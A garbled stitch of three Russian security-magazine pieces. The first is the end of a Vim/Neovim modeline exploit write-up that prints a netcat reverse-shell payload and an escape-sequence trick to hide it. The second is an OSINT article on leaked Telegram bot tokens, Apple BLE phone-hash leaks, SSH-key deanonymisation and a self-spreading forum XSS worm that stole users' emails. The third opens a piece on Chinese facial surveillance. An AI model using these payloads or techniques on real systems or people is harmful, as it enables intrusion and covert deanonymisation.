в  редак тор  и  поль зователь  уви дит  наш  пей лоад.  Это  мож но  поп равить,
исполь зуя  магию    в  тер минале.  Двух‐ 
символь ные  управля ющие  пос ледова тель нос ти  начина ются  с  сим вола 
(0x1B), а если пос ледова тель ность содер жит более двух сим волов, то добав‐ 
ляет ся еще и сим вол   (0x5B). Такие конс трук ции так же называ ются escape‐
пос ледова тель нос тями, так как они начина ются с сим вола  .

уп равля ющих  пос ледова тель нос тей
ESC

[
ESC

Раз берем один из   за авторс твом  .экс пло итов с GitHub Arminius

Ис ходный код экс пло ита для Vim

В начале фай ла идут две управля ющие пос ледова тель нос ти:
 (1b 5b 3f 37 6c);• Esc[?7l

 (1b 53).• EscS

Пер вая  отклю чает  авто мати чес кий  перенос  строк  (auto‐wrap  mode),  что бы
даль нейшие  дей ствия  пра виль но  отра бота ли.  Вто рая  пос ледова тель ность
отра бота ет в Vim. Это коман да для уда ления текущей стро ки и вход в режим
редак тирова ния содер жимого (Insert).

Пер вые две эскейп‐пос ледова тель нос ти в экс пло ите

За тем идет стро ка  , которая вво дит ся в качес тве тек ста фай‐ 
ла, и пос ле нее — кноп ка   (1b), то есть выходим из режима Insert в режим
Normal. Далее идет пач ка внут ренних команд Vim.

Nothing here.
Esc

silent! w | call system('nohup nc 127.0.0.1 9999 ‐e /bin/sh &') | 
redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(
'set\ fde=x\ \|\ source\!\ \%') fdl=0:

Мо дифи катор    перед  коман дой  подав ляет  любой  ее  вывод,  даже
если это ошиб ка.

silent!

 записы вает изме нения в текущий файл;• w

  выпол няет  вызов  фун кции;  в  нашем  слу чае  это  ,  которая
исполня ет shell‐коман ду. Здесь это бэк коннект через netcat;

• call system

  обновля ет  содер жимое  экра на,  пред варитель но  очис тив  его
(модифи катор  );

• redraw!

!

 выводит информа цию о текущем фай ле: имя, позицию кур сора, ста‐ 
тус фай ла и тому подоб ное. Не сов сем понят но, зачем это нуж но, мож но
выкинуть.

• file

В  кон це  еще  один  модифи катор  ,  нуж ный  для  того,  что бы  оста ток
фай ла  был  интер пре тиро ван  как  коман да.  Ошиб ка  (несущес тву ющая  конс‐ 
трук ция) будет подав лена.

silent!

Пос ле это го идет уже зна комый нам пей лоад для откры тия текуще го фай‐ 
ла.  Затем  идут  эскейп‐пос ледова тель нос ти,  которые  скры вают  содер жимое
фай ла от тер миналь ных читалок типа cat.

 — ана лог сочета ния Ctrl‐V для вхо да в режим вво да raw, где вве ден ные
сим волы не интер пре тиру ются драй вером тер минала;

• 16

 (1B 5B 31 47) — дви гаем кур сор на нуж ную позицию. Она ука зыва‐ 
ется  чис лом  перед  сим волом  ,  здесь    —  на  начало  текущей  стро ки.
По умол чанию как раз эта позиция и сто ит, поэто му еди ницу мож но не ука‐ 
зывать;

• Esc[1G

G 1

 — сно ва вхо дим в режим raw;• 16

  (1B  5B  4B) —  сти раем  содер жимое  стро ки,  начиная  с  ука зан ной
позиции. Если не ука зано чис ло до сим вола  , то счи тает ся, что оно рав но
нулю, и уда ляет ся до кон ца стро ки;

• Esc[K

K

 — текст, который будет выводить ся в тер минал;• Nothing here.

 — сно ва вхо дим в режим raw;• 16

 (1B 5B 44) — воз вра щаем кур сор на пре дыду щую позицию.• Esc[D

Бла года ря  этой  конс трук ции при прос мотре,  нап ример при помощи  ,  ты
не будешь видеть реаль ное содер жимое фай ла.

cat

Скры тие содер жимого экс пло ита с помощью escape‐пос ледова тель нос ‐
тей в тер минале

Ко неч но  же,  этот  трюк  работа ет  толь ко  для  баналь ного  скры тия  пей лоада.
Прос то открыв файл через   или   с фла гом  , лег ко обой ти эту  тех‐ 
нику.

nano cat ‐v

cat ‐v shell.txt

Рас кры ваем содер жимое экс пло ита

В Neovim этот экс пло ит  тоже работа ет. Плюс в этой вер сии редак тора име‐ 
ется фун кция  , которая так же уяз вима.nvim_input

#  vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ ‐a\\n"):fdl=0

Что бы каж дый раз не возить ся с редак тирова нием пей лоадов для тес тирова‐ 
ния,  можешь  поп робовать  вос поль зовать ся,  нап ример, 

. В качес тве парамет ров нуж но будет ука зать адрес
бэк коннек та, имя фай ла и опци ональ но его содер жимое.

ге нера тором,
который написал mikaelkall

build.py <lhost> <lport> <filename> [content]

Продолжение статьи →

http://vimdoc.sourceforge.net/htmldoc/options.html#modeline
http://vimdoc.sourceforge.net/htmldoc/eval.html#sandbox
http://vimdoc.sourceforge.net/htmldoc/repeat.html#:source
http://vimdoc.sourceforge.net/htmldoc/options.html#'foldmethod'
http://vimdoc.sourceforge.net/htmldoc/options.html#'foldenable'
http://vimdoc.sourceforge.net/htmldoc/options.html#'foldmethod'
http://vimdoc.sourceforge.net/htmldoc/options.html#'foldexpr'
https://github.com/vim/vim/blob/v8.1.1364/runtime/doc/eval.txt#L2878
https://github.com/vim/vim/blob/v8.1.1364/runtime/doc/eval.txt#L2921
http://vimdoc.sourceforge.net/htmldoc/options.html#'foldlevel'
http://vimdoc.sourceforge.net/htmldoc/options.html#'foldtext'
https://vim.fandom.com/wiki/Get_the_name_of_the_current_file
https://ru.wikipedia.org/wiki/%D0%A3%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D1%8F%D1%8E%D1%89%D0%B8%D0%B5_%D0%BF%D0%BE%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D0%B8_ANSI
https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/shell.txt
https://twitter.com/rawsec
http://vimdoc.sourceforge.net/htmldoc/eval.html#system()
https://neovim.io/doc/user/api.html#nvim_input()
https://github.com/mikaelkall/exploits/blob/master/CVE-2019-12735_vim/build.py


УБОЙНЫЙ ТЕКСТ
ВЫПОЛНЯЕМ ПРОИЗВОЛЬНЫЙ КОД

В VIM И NEOVIM

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОД
Эта уяз вимость еще раз доказы вает, что не сто ит без думно откры вать неиз‐ 
вес тные фай лы даже в обыч ных редак торах. Их фун кции не толь ко упро щают
жизнь поль зовате лям, но и соз дают допол нитель ные век торы для атак.

Раз работ чики  Vim  и Neovim  опе ратив но  выпус тили  пат чи  для  устра нения
най ден ных уяз вимос тей. Эти пат чи уже вхо дят в пос ледние вер сии популяр‐ 
ных дис три бути вов Linux. Патч под номером   для Vim добав ляет про‐ 
вер ку   в фун кцию  , и теперь песоч ница не даст без‐ 
наказан но выт ворять что взду мает ся. Если ста вить зап латку ты не хочешь, то
отклю чи исполь зование  . Для это го нуж но добавить в файл 
такую строч ку:

8.1.1365
check_secure openscript

modeline .vimrc

set nomodeline

Ну  и  конеч но,  почаще  обновляй ОС  и  софт  и  не  доверяй фай лам,  которые
приш ли из неиз вес тных источни ков. Даже если они прос то тек сто вые.

https://vimeo.com/364683422
https://github.com/vim/vim/commit/5357552
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ПРИВАТНОСТЬ

Что  объ еди няет  кон курен тную  раз ведку,  пен тестинг  и  рас‐ 
сле дова ние  киберин циден тов?  Это  сбор  информа ции,
и  преж де  все го —  из  откры тых  источни ков.  Но  что  делать,
если  най ден ных  све дений  не  хва тает,  а  при выч ные  инс тру‐ 
мен ты уже бес силь ны? Погово рим о хаках и при емах, тес но
свя зан ных с получе нием дос тупа к зак рытым матери алам.

По  сло вам  пред ста вите лей  аме рикан ской  раз ведки,  око ло  вось мидеся ти
про цен тов  полез ной  информа ции  при ходит  из  обще дос тупных  источни ков.
И  лишь  неболь шая  часть  —  это  раз веддан ные,  добытые  непос редс твен но
аген турой.  Раз ница  огромна,  но  нель зя  забывать,  что  имен но  получен ные
раз ведкой детали поз воля ют под твер дить и верифи циро вать общую кар тину.

Это  хорошо  иллюс три рует  исто рия  о  том,  как  в  ЦРУ  в  совет ское  вре мя
 схе му элек три фика ции Ура‐ 

ла и пред при ятий ядер ной про мыш леннос ти. Ана лити ки раз ведки зацепи лись
за одно зарету широ ван ное изоб ражение панели монито рин га, а потом про‐ 
дела ли  огромную  работу,  собирая  дан ные  из  совет ских  газет,  жур налов
и  отче тов  дип миссий.  Но  реша ющи ми  ока зались  сним ки  мес тнос ти  с  раз‐ 
ведыва тель ных аэрос татов, потому что ина че невоз можно было под твер дить
пра вомер ность выводов о рас положе нии линий энер гопере дач и заводов.

вос ста нови ли на осно ве фотог рафии из жур нала

Не менее важ но уметь дос тать «раз веддан ные», ког да речь заходит про сбор
информа ции  о  людях.  Это  может  быть  рас сле дова ние  зараже ния  и  поиск
винов ника  или  иден тифика ция  лич ности  для  уточ нения  повер хнос ти  ата ки.
Далее рас смот рим неор динар ные слу чаи получе ния информа ции тог да, ког‐ 
да сбор из откры тых источни ков не дает нуж ного резуль тата.

ПРОБИВАЕМ БОТА TELEGRAM
Как ты зна ешь, у Telegram широкая фун кци ональ ность для работы с ботами.
Ничего  не  сто ит  соз дать  нового,  получить  токен  для  управле ния  и  исполь‐ 
зовать в  готовом скрип те с GitHub. Так же лег ко  токены от ботов и  уте кают:
най ти их мож но по   дор кам. А иног да в руки прос то попада ется
мал варь,  которая  исполь зует  фун кции  Telegram  как  пульт  управле ния,  —
знал бы ты,   хра нит ся в обла ке мес сен дже ра!

эле мен тарным

сколь ко архи вов стил леров
Что оста нав лива ет от вытас кивания всей информа ции бота через утек ший

токен? Конеч но, это API Telegram, в котором огра ничи вают ся мно жес твен ные
под клю чения для ботов из раз ных мест. А даже если бот не работа ет или его
вла делец  про игно риру ет  ошиб ки  под клю чения,  то  мы  все  рав но  смо жем
получать  толь ко  новые,  не  обра ботан ные  ранее  сооб щения.  Наконец,  бот
не обла дает  зна нием о  том,  с  кем он общался  в  прош лом.  Таким обра зом,
про читать  исто рию  не  получит ся —  нуж но  тихо  ждать,  пока  кто‐то  напишет,
что бы перех ватить сооб щение.

К  счастью,  HTTP  API  для  работы  с  ботами  —  это  толь ко  надс трой ка
над  ори гиналь ным  MTProto  API,  который  поз воля ет  вза имо дей ство вать
с ними, как с челове чес кими акка унта ми. А для работы с этим про токо лом уже
есть  готовые биб лиоте ки! Лич но я советую Telethon, в  котором не так дав но

 для управле ния ботами.бы ла реали зова на прос лой ка
Как  ты  понима ешь,  воз можнос ти  при  таком  спо собе  уве личи вают ся

на порядок. Теперь мы можем под клю чить ся незамет но для вла дель ца бота
и  вытащить  исто рию  сооб щений.  А  пер вый  диалог,  оче вид но,  будет  с  его
хозя ином.  Я  написал  ,  который  тащит  перепис ки,  сох раня ет
меди акон тент, име на и фотог рафии собесед ников.

прос той  скрипт

И  кста ти,  ты  навер няка  пом нишь,  что  недав но  в  Telegram  добави ли фун‐ 
кцию уда ления сво их сооб щений у собесед ника. Так вот, если уда лить сооб‐ 
щение из диало га с ботом, то у него оно оста нет ся.

УЗНАЕМ НОМЕР ТЕЛЕФОНА В НОЛЬ КАСАНИЙ
Пред ставь, что тебе нуж но узнать номер телефо на, лежаще го в кар мане дру‐ 
гого челове ка. И при этом не прив лекать вни мания! Конеч но, для это го есть
мас са  спо собов,  начиная  от  бру таль ного  перех вата  через  IMSI  catcher
и  закан чивая  соци аль ной  инже нери ей.  А  до  2018  года  Wi‐Fi  в  мос ков ском
мет ро   и рек ламный про филь его вла‐ 
дель ца.

лег ко отда вал по MAC номер телефо на

Ис сле дова тели  из  Hexway  недав но  опуб ликова ли  информа цию  о  том,
как  устрой ства  Apple    через  Bluetooth  LE.  Для  вза‐ 
имной иден тифика ции они исполь зуют хеши от дан ных акка унта челове ка: три
бай та  от  SHA‐256  номера  телефо на,  Apple  ID  и  поч тового  ящи ка.  Да‐да,
айфо ны, мак буки и даже науш ники бук валь но кри чат в ради оэфир вок руг, кто
они и в каком режиме работы находят ся.

об щают ся  меж ду  собой

К счастью, хеши отсы лают ся не всег да, а толь ко в кон крет ных слу чаях: нап‐ 
ример, при откры тии экра нов вво да пароля от бес про вод ной сети. Но это го
дос таточ но: пред ложи челове ку под клю чить ся к Wi‐Fi — и хеши от его дан ных
у тебя.

Кро ме  того,  вспом ним,  что  рос сий ский  номер  сос тоит  из  один надца ти
цифр и по трем бай там фак тичес ки будет лишь нес коль ко десят ков кол лизий.
И  даже  еще  мень ше,  если  мы  точ но  зна ем  реги он  и  опе рато ра.  Авто ры
иссле дова ния  сде лали  удоб ный  скрипт,  который  поз воля ет  сге нери ровать
хеши  по  нуж ным  диапа зонам.  Отдель ные  энту зиас ты  уже 

,  вычис тив несущес тву ющие  коды опе рато ров.  Так  что пос ле получе ния
спис ка  номеров  оста ется  толь ко  сузить  количес тво  «подоз рева емых»
с  помощью  зап росов  HLR  для  про бива  активнос ти  або нен та  и  про вер ки
наличия  у  него акка унтов мес сен дже ров. Пара ите раций — и  у  тебя в руках
номер нуж ного мобиль ника.

соз дали  готовую
базу

Так же не сто ит забывать об Apple ID и поч товом ящи ке! Теперь у тебя есть
все  дан ные  для  про вер ки  информа ции  об  акка унтах  челове ка,  которую  ты
най дешь в откры тых источни ках.

ПОИСК EMAIL ЧЕРЕЗ СЕТЕВОЙ ХАНИПОТ
А  теперь  пред положим,  что  мы  находим ся  в  про тиво полож ной  ситу ации:
можем кон такти ровать с челове ком толь ко через сеть, нап ример мес сен джер
Jabber. Мы зна ем, что он занима ется раз работ кой мал вари, но ведет двой ную
жизнь  и  име ет  офи циаль ную  работу.  Нам  бы  очень  хотелось  выяс нить  его
лич ность,  но  исполь зует  он  исклю читель но  Tor  и  VPN.  За  что  мы  можем
зацепить ся в этом слу чае?

Как у каж дого челове ка есть харак терный почерк, так и код раз ных людей
час то раз лича ется в мел ких деталях. Что, если у нас на руках скрипт от объ‐ 
екта  поис ка?  Да,  мы  можем  поис кать  по  клю чевым  стро кам  в  откры тых
репози тори ях  в  надеж де  на  то,  что  и  в  нас тоящей  жиз ни  он  где‐то  писал
или пов торно исполь зовал свой  код.  Таким обра зом мы вый дем на акка унт,
ска чаем из него все дос тупные репози тории и получим спи сок людей и поч‐ 
товых адре сов с помощью прос той коман ды

$ git log —pretty="%an %ae%n%cn %ce" | sort | uniq

Знал бы ты, как час то люди по нев ниматель нос ти дела ют ком мит под одним
акка унтом, а пушат под дру гим!

Но  поиск  таким методом  выходит  неточ ный,  да  и  навер няка  есть  дру гие
спо собы.  Что  может  выдать  активно го  поль зовате ля  репози тория  Git?  Даю
навод ку: пуб личный ключ, через который тебя иден тифици рует сер вер! Час то
это тот же ключ SSH, который генери рует ся в id_rsa, но двой ная жизнь пред‐ 
полага ет  нес коль ко  лич ностей  и  нес коль ко  акка унтов.  И  навер няка
какой‐нибудь исполь зует ся для под клю чения к сер верам. Понима ешь, к чему
я кло ню?

Для пол ноты кар тины уточ ним еще две вещи. Пер вая: все пуб личные клю чи
поль зовате лей GitHub  и GitLab  хра нят ся  в  откры том  виде  и  общем дос тупе,
дос таточ но  добавить    .  Вто рая:  кли ент  SSH
при под клю чении переби рает все клю чи, которые явно ука заны для сер вера
либо добав лены в агент. Здесь и кро ется вся суть нашей аван тюры.

.keys к  URL  тво его  про филя

Мы  даем  челове ку  под клю чить ся  к  нашему  сер веру  с  запат ченным  SSH,
который отсы лает нам все клю чи. А затем ищем его по базе всех поль зовате‐ 
лей откры тых репози тори ев! Идея прос та и гени аль на и уже в каком‐то виде
реали зова на. Набери в кон соли

$ ssh whoami.filippo.io

Cер вер попыта ется най ти твой GitHub, а заод но про верит на  .CVE‐2016‐0777
Код сер вера  , а в его осно ве — база для иссле дова ния надеж ности

клю чей  поль зовате лей  GitHub.  Сами  дан ные  не  пуб ликова лись,  но  дру гие
люди впос ледс твии  . Впро чем, напом ню, что
акту аль ные  поль зователь ские  дан ные  луч ше  собирать  самому:  акка унты
пере име новы вают, соз дают новые, а некото рые даже меня ют пароли.

от крыт

пов торяли сбор самос тоятель но

СКЕЛЕТЫ В ШКАФУ TELEGRAM
Как  час то  тебе  при ходи лось  пытать ся  выяс нить  информа цию  об  акка унте
в  Telegram? Мне  так  слиш ком,  слиш ком  час то.  Иног да  про исхожде ние  про‐ 
ясня ет  мета информа ция  вро де  юзер ней ма  (ког да  он  похож  на  имя
и фамилию реаль ного челове ка) или фотог рафии из акка унта и дата их уста‐ 
нов ки. Но порой и этой информа ции нет, толь ко First и Last name, абсо лют но
неин форма тив ные.

Вот  как  выг лядит  уста нов ление  лич ности  при  реаль ных  поис ках.  Во‐пер‐ 
вых,  преж де  все го  выяс няем  иден тифика тор  акка унта.  В  офи циаль ных  кли‐ 
ентах  он  скрыт,  но  некото рые  неофи циаль ные  отоб ража ют  ID  при  откры тии
про филя.  Удоб нее  перес лать  сооб щение  от  челове ка  боту  ,
и тот выдаст завет ные циф ры.

@userinfobot

Впро чем, иног да метод может и не сра ботать из‐за нас тро ек при ват ности
акка унта. Но есть  выход:  через  скрип ты мож но исполь зовать API  для отсле‐ 
жива ния сис темных полей в сооб щени ях и событи ях. Впос ледс твии мы иден‐ 
тифици руем челове ка, если он сме нит имя, уйдет из общих чатов или на вре‐ 
мя потеря ется.

Да лее ищем дан ные по спе циаль ным поис ковикам. Для Telegram полез нее
все го будет  , который индекси рует все откры тые чаты. Он даже
поз воля ет  искать  по  авто ру  сооб щения!  Но  для  нас  это  будет  бес полез но,
если  вла делец  акка унта  недав но  сме нил  имя.  Боль шого  везения  тре бует
поиск  по  ID —  теоре тичес ки  он мог  про мель кнуть  тек стом  в  откры тых  чатах
и про индекси ровать ся, но на прак тике такая веро ятность низ ка.

search.buzz.im

Так же выпол няем поиск по ID. К сожале нию, Telegram не поз воля ет получить
дан ные  акка унта,  если  есть  толь ко  иден тифика тор, —  это  базовый  уро вень
при ват ности. Потому и инс тру мен тов для пря мого  «про бива» нет,  раз ве  что
толь ко  базы,  дела ющие  ревер сивный  поиск  по  ID  для  акка унтов,  дан ные
о которых соб раны «закон ным» обра зом (то есть тог да, ког да мож но получить
дан ные через API, имея общие чаты с челове ком).

Кто же рас полага ет подоб ными базами информа ции по акка унтам? Оче‐ 
вид но,  что  это  боты,  которые  обслу жива ют  огромное  количес тво  откры тых
чатов, зак рытых чатов и личек. И нич то не зап реща ет их раз работ чикам сох‐ 
ранять все име ющиеся дан ные акка унтов. :)

А  даль ше  оста ется  рас ска зать  толь ко  прак тичес кую  часть.  Нап ример,
в одном из моих  кей сов поиск источни ка  информа ции при вел  к  груп повому
боту  для  накоп ления  кар мы.  Разуме ется,  для  обновле ния  и  син хро низа ции
зна чений по каж дому акка унту исполь зовалась база дан ных. И конеч но, раз‐ 
работ чики  не  усто яли  перед  иску шени ем  написать  прос той  веб‐интерфейс
на PHP для про вер ки кар мы по нику, име ни и ID поль зовате ля.

По иск  необ ходимой  информа ции  ока зал ся  даже  про ще,  чем  ожи далось:
при зап росе выдавал ся спи сок под ходящих акка унтов с име нем и ID (то есть
работа ло  авто допол нение).  При  вво де  иден тифика тора  появ лялась  пер вая
запись из БД, то есть пер вое имя поль зовате ля, под которым бот его уви дел.
Бин го!

Но если дума ешь, что на этом все, то ты силь но оши баешь ся. В зап росе
для  авто допол нения  наш лась  SQL‐инъ екция,  через  которую  мож но  было
выкачать базу всех поль зовате лей: акка унты, которые хотя бы однажды всту‐ 
пали  в  груп пы,  где  есть  бот.  Вмес те  с  исто рией  изме нения  име ни,  датой
вступ ления и дру гой информа цией. Думаю, мораль здесь озву чивать не тре‐ 
бует ся.

СКРЫТЫЕ ДАННЫЕ С ФОРУМА
Что,  если  известен  толь ко  один  акка унт  челове ка  на  сай те,  а  поиск  по  нику
ничего  не  дает?  Факт  регис тра ции  под разуме вает,  что  нек то  оста вил  там
свои лич ные дан ные и  как минимум ввел email — для даль нейше го рас сле‐ 
дова ния  он  нам  и  нужен.  Толь ко  вот  незада ча:  уро вень  при ват ности  выс‐ 
тавлен на мак симум, все дан ные видит толь ко сам поль зователь.

Да вай тог да допол нитель но вык рутим и уро вень нашей скрыт ности на мак‐ 
симум:  нель зя  при менять  методы  СИ  на  челове ке,  так  как  он  может  что‐то
заподоз рить  в  акка унте‐нажив ке и  зачис тить  сле ды в дру гих  важ ных мес тах.
Конеч но,  мож но  попытать ся  ута щить  куки  адми нис тра тора  или  модера тора
форума, получить рас ширен ные пра ва и пря мой дос туп к базе…

Од нако  я  при веду  более  изящ ный  при мер  решения  такой  задачи.
Но  преж де  чем  про дол жить,  пре дуп реждаю  тебя:  пов торять  эти  дей ствия
не рекомен дую,  как минимум потому,  что  они  выходят  за  рам ки  пас сивно го
сбо ра информа ции.

В  популяр ных  движ ках  форумов  в  наше  вре мя  уже  слож но  най ти  уяз‐ 
вимость XSS. Но зна чит ли это, что их там точ но нет? Так подумал и автор это‐ 
го кей са, и не ошиб ся: экс пло ит был обна ружен в поле телефо на в про филе
поль зовате ля, стра ница которо го откры та для всех. Что это для нас зна чит?

Как  ты  мог  догадать ся,  это  поз воля ет  похитить  сес сию  поль зовате ля,
но  даже  это  будет  излишним.  Зачем  вхо дить  на  форум,  что бы  пос мотреть
дан ные, которые уже в руках? Да, вер но, прос то внед рим в стра ницу скрипт
на  JS,  который  зап росит  по  AJAX  информа цию  активно го  поль зовате ля,
а потом переш лет к нам на сер вер.

Но,  как  пом нишь,  мы  догово рились  не  прив лекать  вни мание  объ екта
нашего рас сле дова ния. Тог да давай соз дадим усло вия, при которых наш XSS
дой дет  к  нему  через  чужие  руки.  Нап ример,  через  акка унты  его  зна комых.
Нужен  еще  один  неболь шой  штрих:  кро ме  непос редс твен ного  зап роса
на получе ние информа ции, будем отсы лать через JS допол нитель ный зап рос
на сох ранение XSS в поле поль зовате ля. Уже начина ешь видеть всю кар тину?

Соз дадим мак сималь но прив лека ющий вни мание акка унт и напишем эпа‐ 
таж ное сооб щение на форуме. Додумы вать нюан сы  кон крет ной реали зации
оставляю  тво ему  вооб ражению.  Нам  не  так  важ но,  кто  это  проч тет  и  заб‐ 
локиру ют  ли нас  вооб ще, — акка унт  ста нет  нулевым паци ентом. Кто‐нибудь
зай дет  в  наш  про филь  пос мотреть  информа цию  и  нач нет  рас простра нять
вирус  сбор щика  дан ных.  Этот  скрипт  будет  внед рять ся  широкой  вол ной,
заражая  пооче ред но  зна комых,  зна комых  зна комых  и  прос то  слу чай ных
собесед ников.

Так и слу чилось. Через корот кое вре мя на коман дный сер вер приш ли дан ные
нуж ного  поль зовате ля,  вклю чая  и  инте ресу ющий  email.  Вмес те  со  све дени‐ 
ями о доб рой полови не осталь ных форум чан. Жаль, что не было под счи тано,
через  какое  рукопо жатие  «наг рада  наш ла  героя»,  ина че  мож но  было  бы
попут но написать иссле дова ние о соци аль ных гра фах на форумах.

На пом ню,  кста ти,  что  похожая  схе ма    в  ВК,
при чем напоказ, а не в целях сбо ра. А пред ставь, как дол го зло умыш ленни ки
могут экс плу ати ровать подоб ные уяз вимос ти скры то, собирая наши дан ные?

бы ла  недав но  исполь зована

ЗАКЛЮЧЕНИЕ
Здесь  мы  рас смот рели  толь ко  пять  нес тандар тных  спо собов  дос тать
информа цию, до которой нель зя дотянуть ся из откры тых источни ков. Всег да
есть  трю ки и  хаки,  но имей в  виду,  что  кто‐то мог прой ти этот путь до  тебя:
выложить базу в Сеть, най ти утеч ку на сай те, соз дать бота в Telegram для про‐ 
вер ки.  Так  что  рекомен дую  сос тавить  для  себя  спи сок  самых  полез ных
источни ков  откры той  информа ции  и  про ходить ся  по  нему,  преж де  чем
начинать  копать  глуб же.  Для  OSINT  в  рам ках  Рунета  рекомен дую  бота
с исчерпы вающим набором инс тру мен тов на все слу чаи жиз ни — 

.
HowToFind

bot
И еще: не забывай сис темати зиро вать получен ные дан ные. Час то эле мен‐ 

тарный mindmap поз волит уви деть не самые оче вид ные свя зи и отсечь лиш‐ 
нее.  Может  стать ся,  тебе  и  не  понадо бит ся  исполь зовать  хит рые  при емы,
что бы узнать жела емое.
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https://github.com/torvalds.keys
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ПРИВАТНОСТЬ

В  начале  сен тября  рос сий ские  сетевые  изда ния  обле тела
новость:  одна  из  мос ков ских  улич ных  виде ока мер,  под клю‐ 
чен ных  к  сис теме  рас позна вания  лиц,  сумела  обна ружить
сре ди  про хожих  челове ка,  который  успешно  скры вал ся
от пра восу дия в течение нес коль ких лет. Нес мотря на то, что
подава лось  это  как  уди витель ный про рыв на  гра ни науч ной
фан тасти ки,  подоб ные  тех нологии  при меня ются  уже  очень
дав но. И пионе ром в этой области ста ла Китай ская Народ‐ 
ная Рес публи ка.

ФЕЙСОМ ОБ TABLES
В мае 2019 года наци ональ ная биомет ричес кая база дан ных Китая вклю чала
информа цию прак тичес ки о каж дом из 1,4 мил лиар да жителей стра ны. База
эта соз давалась не один день, но сегод ня она поз воля ет за счи тан ные секун‐ 
ды  иден тифици ровать  челове ка  сре ди  поч ти  двух  мил лиар дов  записей.
Исполь зуемая для это го сис тема искусс твен ного интеллек та, базиру ющаяся
на  тех нологи ях  ней росетей  и машин ного  обу чения,  была  раз работа на шан‐ 
хай ской ком пани ей  .Yitu Technology

Что бы  соб рать  информа цию  о  внеш ности  граж дан  сво ей  стра ны,  китай‐ 
ско му  пра витель ству  даже  не  приш лось  загонять  их  бам буковы ми  пал ками
в  спе циаль ные  госуч режде ния,  навод ненные  фотог рафами:  люди  отда вали
свои  пор тре ты  доб роволь но  и  с  радостью.  Преж де  все го  потому,  что  зна‐ 
читель ное количес тво полез ных элек трон ных сер висов и услуг пре дос тавля‐ 
лось  толь ко  пос редс твом  биомет рии,  а  камерой  сегод ня  обо рудо ван  бук‐ 
валь но  каж дый  ноут бук  и  мобиль ный  телефон.  Оче вид но,  что  информа ция,
попав в государс твен ные элек трон ные сети, оста ется в них нав сегда и впос‐ 
ледс твии  может  исполь зовать ся  этим  самым  государс твом  по  мере  необ‐ 
ходимос ти. При чем так, как эту необ ходимость понима ет само государс тво.

Сей час  по  всей  тер ритории  кон тинен таль ного  Китая  раз бро сано
более  200  млн  камер  виде онаб людения,  которые  ден но  и  нощ но  сле дят
за авто мобиль ным тра фиком,  улич ной прес тупностью, соб людени ем пра вил
дорож ного дви жения. Они пре дот вра щают мел кие кра жи в роз ничных магази‐ 
нах,  вылав лива ют  спя щих  на  лек циях  сту ден тов  и,  конеч но  же,  помога ют
полицей ским обна ружить находя щих ся в розыс ке граж дан. Все это ста ло воз‐ 
можным  бла года ря  раз работан ной  Yitu  тех нологии  Dragonfly  Eye  System,
на  соз дание  которой  инвесто ры  пот ратили  более  400  млн  дол ларов.  Вла‐ 
дель цы  ком пании  утвер жда ют,  что  раз работ ки  финан сирова лись  исклю‐ 
читель но из бюд жетов час тных инвести цион ных фон дов, но без учас тия край‐ 
не заин тересо ван ного в такой сис теме пра витель ства Китая тут все‐таки явно
не обош лось.

Это  кос венно  под твержда ется  тем  фак том,  что  пер выми  кли ента ми  Yitu,
внед ривши ми Dragonfly Eye System, ста ли депар тамен ты полиции 300 китай‐ 
ских городов, где эту сис тему пос тавили на служ бу охра не поряд ка. И толь ко
затем  «стре кози ный  глаз»  ста ли  при менять  в  сво ей  пов седнев ной  работе
бан киры, медики, тор говцы и час тные охранные пред при ятия. Вско ре Dragon‐
fly  Eye  внед рили  в шан хай ском мет ро,  и,  судя  по  пресс‐релизам  раз работ‐ 
чика,  толь ко  в  пер вые  три  месяца  экс плу ата ции  сис тема  помог ла  выявить
и задер жать более 500 пра вона руши телей.

При мер но так работа ет Dragonfly Eye

Сни мок  переда ется  в  обла ко  в момент  пересе чения  пас сажиром  тур никета
при вхо де на стан цию, и если лицо это го пас сажира сов пада ет с пор тре том
находя щего ся  в  розыс ке  подоз рева емо го,  пор трет  вмес те  с  сиг налом  тре‐ 
воги переда ется на смар тфон полицей ско го, который дежурит на плат форме.
Арест сле дует незамед литель но.

Кро ме  того,  извес тно,  что  Минис терс тво  общес твен ной  безопас ности
Китая  еще  в  2018  году  выдели ло  нес коль ко  мил лиар дов  дол ларов  на  раз‐ 
витие  двух  государс твен ных  про ектов  под  наз вани ями  Skynet  и  Sharp  Eyes,
нап равлен ных  на  компь юте риза цию  слеж ки  за  граж данами  стра ны  и  сбо ра
раз веддан ных.  Софи  Ричар дсон,  руково дитель  китай ско го  отде ления  меж‐ 
дународ ной орга низа ции Human Rights Watch,    Dragonfly  Eye  System
«полицей ским  обла ком»,  пред назна чен ным  в  пер вую  оче редь  для  «наруше‐ 
ния кон фиден циаль нос ти и борь бы с ина комыс лием».

наз вала

КАК ЭТО РАБОТАЕТ?
Сис тема Dragonfly Eye System не зря   на кон курсе Intelli‐
gence  Advanced  Research  Projects  Activity  в  2017  году:  она  поз воля ет  иден‐ 
тифици ровать лица на виде оизоб ражении с точ ностью 95,5%.

за няла пер вое мес то

Нес мотря  на  то,  что  в  Yitu  не  рас кры вают  тех ничес ких  под робнос тей
работы сво его детища, извес тно, что в осно ве Dragonfly Eye лежит облачная
база  дан ных,  содер жащая  1,7  мил лиар да  циф ровых  пор тре тов,  и  само обу‐ 
чающаяся тех нология рас позна вания лиц по набору клю чевых зон и парамет‐ 
ров  челове чес кого  лица.  Луч ше  все го  дей ствие  сис темы  иллюс три рует  ее
локаль ная вер сия, внед ренная в офи се самой Yitu в деловом цен тре Шан хая.

Сис тема рас позна вания лиц Yitu сле дит и за сот рудни ками, и за гос тями

Как толь ко в поле зре ния под клю чен ной к Dragonfly Eye виде ока меры попада‐ 
ет вхо дящий в две ри офис ного зда ния человек, прог рамма дела ет нес коль ко
момен таль ных сним ков, выбира ет из них луч ший по яркости, осве щен ности,
кон трастнос ти и качес тву, пос ле чего с исполь зовани ем машин ных алго рит‐ 
мов опре деля ет на сним ке область лица. Прог рам мные филь тры мак сималь‐ 
но  улуч шают  получив шуюся  кар тинку  и  пре обра зуют  ее  в  обла ко  точек,
